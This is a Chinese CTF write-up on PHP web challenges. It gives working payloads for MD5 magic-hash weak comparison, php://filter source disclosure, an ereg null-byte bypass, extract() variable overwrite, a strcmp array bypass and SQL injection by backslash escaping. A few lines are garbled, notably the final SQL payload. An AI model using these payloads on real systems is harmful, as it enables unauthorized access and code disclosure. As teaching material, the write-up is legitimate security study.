阅读后我们发现要找到flag就要找到和‘QNKCDZO’md5加密后相同的字符串。显然“碰撞”找对应字符串是几乎不可能的,那么推测应该是利用PHP语言的弱类型的特性:
1)将QNKCDZO进行MD5加密,密文为0e830400451993494058024219903391,发现密文为0e开头,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法。
2)因为0exx都等于0,所以让两者相等我们只需再找到一个MD5加密后开头为0e的字符串即可
3)相关字符串:
md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
//php中“==”和“===”的区别:“==”只比较数据的值是否相等,而“===”比较的是数据类型和值是否相等,
比如整数0和浮点数0.0
用==比较返回TRUE
用===比较返回FLASE
文件包含:
http://4.chinalover.sinaapp.com/web7/index.php
了解php://filter 元封装器
文件读取操作:
include “test.php”php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter进行过滤,返回值为0,1。
readfile(“test.php”)是将文件以数据流的形式读取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。
file_get_contents(“test.php”)返回值为文本内容
典型的文件包含漏洞我们可以通过构造含有漏洞的语句,查看想要看的代码
构造语句:file=php://filter/read=convert.base64-encode/resource=index.php
1.php://filter/可用于处理打开的数据流,起到过滤作用。如果源文件为.php则很有可能在前台显示不出来。
2.此时我们采用的方法是,先让文件转化为base64格式(convert.base64-encode)然后再输出,这样不论是什么格式的文件都可以在前台输出。
3.再次解码就可得到源代码
了解php://filter详细内容:http://php.net/manual/zh/wrappers.php.php
ereg函数:
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。//正则表达式
stripos函数:strpos('i love php','php'),匹配‘i love php’中是否有"php",有则返回字符所在位置
题目源码如下:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';//利用ereg函数对输入的字符进行匹配,若是数字返回真,否则返回FALSE,此时可以用%00进行对字符截断,%00截断及遇到%00则默认为字符串的结束
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
一、此时可以输入1%00%23biubiubiu,ereg ("^[1-9]+$", $_GET['nctf'])匹配出1,而strpos匹配到原字符,可输出flag
二、输入a[]=1,此时为数组不符合ereg匹配的类型,绕过了ereg函数,此时strpos获得的是“Array”,也绕过了strpos函数
变量覆盖:
源码:
extract($_POST);
if ($pass==$thepassword_123) {?>
很明显,当$pass和$thepassword_123的值相等时,输出flag,此时抓包修改post的值就可以得到flag
//extract函数,extract() 函数从数组中将变量导入到当前的符号表
例如
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
输出结果为:$a = Cat; $b = Dog; $c = Horse
pass check:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
tip:strcmp(array,string)=null=0
strcmp为字符串比较函数,s=trcmp(string1,string2),当string1与string2相等时s=0,string1
sql注入4:
源码:
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
函数说明:
magic_quotes_gpc()开启时为获得的字符中的单引号等字符进行转义,get_magic_quotes_gpc()为检查magic_quotes_gpc()是否开启
stripslashes函数为字符串中删除由addslashes函数添加的反斜杠
htmlentities()函数: htmlentities() 函数把字符转换为 HTML 实体
htmlentities($str, ENT_COMPAT); // 只转换双引号
htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
即htmlentities以编码格式将单引号或双引号编码后再解码到html文本中(我是这样理解的:))
在mysql查询语句中转义字符不参与闭合
当输入admin=\&password=or 1=1#'的时候源码变为
select * from users where name=\''\'\'ANDpass=\''or 1=1#''\',所以第二个引号与第六个引号闭合,绕过检测